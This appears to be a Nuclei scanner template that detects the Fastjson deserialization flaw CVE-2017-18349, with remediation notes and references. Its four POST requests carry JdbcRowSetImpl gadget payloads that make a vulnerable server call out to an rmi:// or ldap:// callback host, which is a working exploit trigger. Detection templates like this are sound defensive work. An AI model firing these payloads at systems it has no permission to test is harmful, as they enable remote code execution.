1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
|
id: CVE-2017-18349
info:
name: Fastjson Insecure Deserialization - Remote Code Execution
author: night
severity: critical
description: |
parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is mishandled in AjaxApplication.java.
impact: |
Successful exploitation allows complete system compromise through remote code execution, enabling attackers to execute arbitrary commands, access sensitive data, and establish persistent backdoors on the target system.
remediation: |
Update Fastjson to version 1.2.25 or later which includes security patches for this vulnerability.Disable autotype functionality by setting `fastjson.parser.autoTypeSupport=false`.Implement strict whitelist filtering for `@type` annotations, validate and sanitize all JSON input.Use Web Application Firewalls (WAF) to filter malicious requests, and regularly audit dependencies for known vulnerabilities. Consider migrating to safer JSON parsing libraries like Jackson with secure configurations.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-18349
- https://github.com/alibaba/fastjson/wiki/security_update_20170315
- https://github.com/pippo-java/pippo/issues/466
- https://github.com/h0cksr/Fastjson--CVE-2017-18349-
- https://fortiguard.com/encyclopedia/ips/44059
- https://www.exploit-db.com/exploits/45983
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-18349
cwe-id: CWE-20
epss-score: 0.7075
epss-percentile: 0.98594
cpe: cpe:2.3:a:alibaba:fastjson:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: alibaba
product: fastjson
tags: cve,cve2017,fastjson,deserialization,rce,oob,oast
variables:
rmi_payload: "rmi://{{interactsh-url}}/{{randstr}}"
ldap_payload: "ldap://{{interactsh-url}}/{{randstr}}"
http:
- method: POST
path:
- "{{BaseURL}}/json"
- "{{BaseURL}}/api/json"
headers:
Content-Type: application/json
Accept: application/json
body: |
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "{{rmi_payload}}",
"autoCommit": true
}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'autoCommit','set property error')"
condition: and
extractors:
- type: kval
kval:
- interactsh_ip
- method: POST
path:
- "{{BaseURL}}/json"
- "{{BaseURL}}/api/json"
- "{{BaseURL}}/parse"
- "{{BaseURL}}/deserialize"
headers:
Content-Type: application/json
Accept: application/json
body: |
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "{{ldap_payload}}",
"autoCommit": true
}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'autoCommit','set property error')"
condition: and
extractors:
- type: kval
kval:
- interactsh_ip
- method: POST
path:
- "{{BaseURL}}/json"
- "{{BaseURL}}/api/json"
- "{{BaseURL}}/parse"
- "{{BaseURL}}/deserialize"
headers:
Content-Type: application/json
Accept: application/json
body: |
{
"data": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "{{rmi_payload}}",
"autoCommit": true
}
}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'autoCommit','set property error')"
condition: and
extractors:
- type: kval
kval:
- interactsh_ip
- method: POST
path:
- "{{BaseURL}}/json"
headers:
Content-Type: application/json
Accept: application/json
body: |
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "{{ldap_payload}}",
"autoCommit": true
}
}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'autoCommit','set property error')"
condition: and
extractors:
- type: kval
kval:
- interactsh_ip
|